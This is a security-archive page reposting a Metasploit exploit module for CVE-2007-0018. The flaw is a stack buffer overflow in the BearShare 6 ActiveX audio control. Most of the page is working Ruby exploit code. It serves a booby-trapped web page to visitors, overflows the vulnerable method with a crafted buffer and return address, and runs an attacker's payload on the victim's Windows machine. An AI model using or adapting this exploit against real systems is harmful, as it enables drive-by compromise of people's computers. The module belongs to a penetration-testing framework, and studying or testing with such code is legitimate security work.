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BearShare 6 ActiveX Control Buffer Overflow

BearShare 6 ActiveX Control Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX Control provided by BearShare 6.0.2.26789. By sending a overly long string to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
advisories | CVE-2007-0018
SHA-256 | 391ea9701aa5c2824c8c010a33a3a53acf2d8878b0d3537d082c8d39edb32328

BearShare 6 ActiveX Control Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'BearShare 6 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX
Control provided by BearShare 6.0.2.26789. By sending a overly long string
to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-0018' ],
[ 'OSVDB', '32032' ],
[ 'BID', '23892' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English', { 'Offset' => 4116, 'Ret' => 0x7c81518B } ],
],
'DisclosureDate' => 'May 5 2007',
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')
sploit << make_nops(8) + p.encoded

# Build out the message
content = %Q|
<html>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.SetFormatLikeSample(#{strname});
</script>
</html>
|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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